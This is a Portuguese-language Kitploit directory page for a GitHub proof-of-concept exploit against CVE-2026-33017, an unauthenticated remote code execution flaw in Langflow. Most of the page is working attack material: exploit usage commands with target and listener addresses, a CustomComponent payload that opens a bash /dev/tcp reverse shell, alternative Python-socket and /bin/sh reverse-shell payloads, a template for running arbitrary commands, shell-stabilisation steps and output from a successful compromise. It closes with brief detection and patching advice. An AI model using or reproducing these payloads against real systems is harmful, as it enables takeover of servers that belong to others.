Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-33017-PoC-Reverse-Shell — Exploit para CVE-2026-33017, um RCE não autenticado no Langflow, permitindo reverse shell via payload malicioso de CustomComponent. | Kitploit
Ferramentas/GitHubGitHub/ahseven/cve-2026-33017-poc-reverse-shell
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingFerramenta de Acesso Remoto
GitHubahseven/cve-2026-33017-poc-reverse-shell

CVE-2026-33017-PoC-Reverse-Shell

Exploit para CVE-2026-33017, um RCE não autenticado no Langflow, permitindo reverse shell via payload malicioso de CustomComponent.

Ver Repositório
1há 12h 19mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-33017 - Exploit de RCE Não Autenticada no Langflow

📋 Visão Geral

CVE-2026-33017 é uma vulnerabilidade de Execução Remota de Código (RCE) não autenticada no Langflow versões <= 1.8.2. A vulnerabilidade existe no endpoint /api/v1/build_public_tmp/{flow_id}/flow, que não possui autenticação adequada e permite que atacantes executem código Python arbitrário durante o processo de compilação do grafo.

⚠️ Aviso Legal

Este exploit é apenas para fins educacionais e de testes autorizados. O acesso não autorizado a sistemas de computador é ilegal. Use esta ferramenta apenas em sistemas que você possui ou para os quais tenha permissão explícita de teste.

🎯 Versões Afetadas

VersãoStatus
<= 1.8.2Vulnerável
1.9.0Corrigida

🔍 Detalhes da Vulnerabilidade

Causa Raiz

A vulnerabilidade decorre da função prepare_global_scope() em validate.py, que chama exec() no código de cada nó CustomComponent sem sandboxing adequado. Quando um componente é carregado/compilado, qualquer código Python no nível do módulo (fora das definições de classe) é executado imediatamente.

Endpoint Vulnerável

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Características:

  • ❌ Nenhuma autenticação necessária
  • ❌ Nenhuma chave de API necessária
  • ❌ Nenhum cabeçalho de autorização
  • ✅ Dados controlados pelo atacante passados diretamente ao construtor de grafos

Cadeia de Execução de Código

root@kitploit:~
POST do Atacante → build_public_tmp → start_flow_build() → create_graph() → 
Graph.from_payload() → add_nodes_and_edges() → initialize() → 
_instantiate_components_in_vertices() → instantiate_component() → 
eval_custom_component_code() → prepare_global_scope() → 
exec(compiled_code) ← EXECUÇÃO DE CÓDIGO ARBITRÁRIO

🛠️ Exploração

Pré-requisitos

  1. Um ID de fluxo público (UUID) de uma instância Langflow
  2. URL de destino (instância Langflow)
  3. IP e porta do ouvinte para reverse shell

Instalação

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt

Requisitos

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Uso

Sintaxe Básica

root@kitploit:~
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>

Exemplos

1. Reverse Shell

root@kitploit:~
# Iniciar ouvinte
nc -lvnp 4444

# Executar exploit
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444

2. Usando Opções Curtas

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

3. Teste Local

root@kitploit:~
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

4. Timeout Personalizado

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30

Argumentos de Linha de Comando

ArgumentoCurtoObrigatórioDescrição
--url-uSimURL de destino (ex.: https://target.langflow.com)
--flow-id-fSimID do fluxo (UUID) do fluxo público
--lhost-lhSimEndereço IP do ouvinte para reverse shell
--lport-lpSimPorta do ouvinte para reverse shell
--timeout-tNãoTimeout HTTP em segundos (padrão: 15)

🔧 Como Funciona

1. Estrutura do Payload

O exploit envia um nó CustomComponent malicioso que executa código no nível do módulo:

root@kitploit:~
import os

# Isto executa imediatamente durante o carregamento do componente
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={})

2. Fluxo de Execução

root@kitploit:~
1. O atacante envia uma requisição POST para /api/v1/build_public_tmp/{flow_id}/flow
2. O Langflow recebe o CustomComponent malicioso
3. prepare_global_scope() chama exec() no código do componente
4. O código no nível do módulo executa imediatamente
   ├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. O reverse shell conecta de volta ao ouvinte do atacante
6. A compilação do grafo continua (mas já é tarde demais)

3. Por Que Funciona

  • Execução no nível do módulo: Código fora das definições de classe executa durante exec()
  • Sem sandboxing: exec() é chamado sem restrições
  • Sem autenticação: O endpoint é acessível publicamente
  • Dados controlados pelo atacante: O parâmetro data é incorporado diretamente

📊 Prova de Conceito

Saída de Exploit Bem-sucedido

root@kitploit:~
$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

============================================================
  CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================

[!] Certifique-se de que seu ouvinte está em execução:
    nc -lvnp 4444

[+] URL de destino: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] Enviando payload do exploit...
[+] Código de status: 200
[+] Exploit enviado com sucesso!
[+] ID do trabalho: abc123-def456-789ghi

[*] Verifique seu ouvinte para o reverse shell!
[*] nc -lvnp 4444

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$

🚀 Uso Avançado

Estabilizar o Shell

Depois de obter um reverse shell:

root@kitploit:~
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Ou use script
script /dev/null -c bash

# Coloque em segundo plano com Ctrl+Z
# Depois execute:
stty raw -echo
fg
reset
export TERM=xterm

Executar Comandos Personalizados

Modifique o script para executar comandos arbitrários em vez de um reverse shell:

root@kitploit:~
# Na função build_payload():
return f"""import os

_x = os.system("{command}")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={{}})
"""

Payloads Alternativos

1. Reverse Shell com Socket Python

root@kitploit:~
import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

2. Reverse Shell com /bin/sh (se bash não estiver disponível)

root@kitploit:~
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")

🛡️ Detecção e Prevenção

Indicadores de Detecção

  • Requisições POST para /api/v1/build_public_tmp/*/flow sem autenticação
  • Código CustomComponent suspeito contendo os.system() ou subprocess
  • Arquivos inesperados /tmp/rce-proof ou /tmp/executed
  • Conexões de saída de contêineres Langflow

Medidas de Prevenção

  1. Aplique o patch: Atualize para Langflow 1.9.0 ou posterior
  2. Implemente autenticação: Adicione autenticação adequada ao endpoint /build_public_tmp
  3. Validação de entrada: Sanitize a entrada de código para CustomComponent
  4. Sandboxing: Implemente sandboxing adequado para chamadas exec()
  5. Segmentação de rede: Isole instâncias Langflow

📚 Referências

  • Aviso do GitHub: GHSA-vwmf-pq79-vjvx - Aviso oficial do CVE-2026-33017
  • Entrada CVE: CVE-2026-33017 no NVD
  • Repositório GitHub do Langflow: langflow-ai/langflow
  • OWASP Top 10 - A03:2021 Injeção: Folha de Dicas de Prevenção de Injeção

🗺️ Linha do Tempo

DataEvento
Março 2026Vulnerabilidade Descoberta
16 de Março de 2026Aviso do GitHub Publicado
Abril 2026Divulgação Pública
Abril 2026Patch Lançado (1.9.0)

📝 Licença

Este projeto é apenas para fins educacionais. Use por sua conta e risco.

⚖️ Aviso Legal

Este software é fornecido apenas para fins educacionais e de testes de segurança autorizados. Os autores não são responsáveis por qualquer uso indevido ou dano causado por este software. Os usuários são os únicos responsáveis por cumprir todas as leis e regulamentos aplicáveis.


Feito com 🖤 para pesquisa em segurança

Baixar ferramenta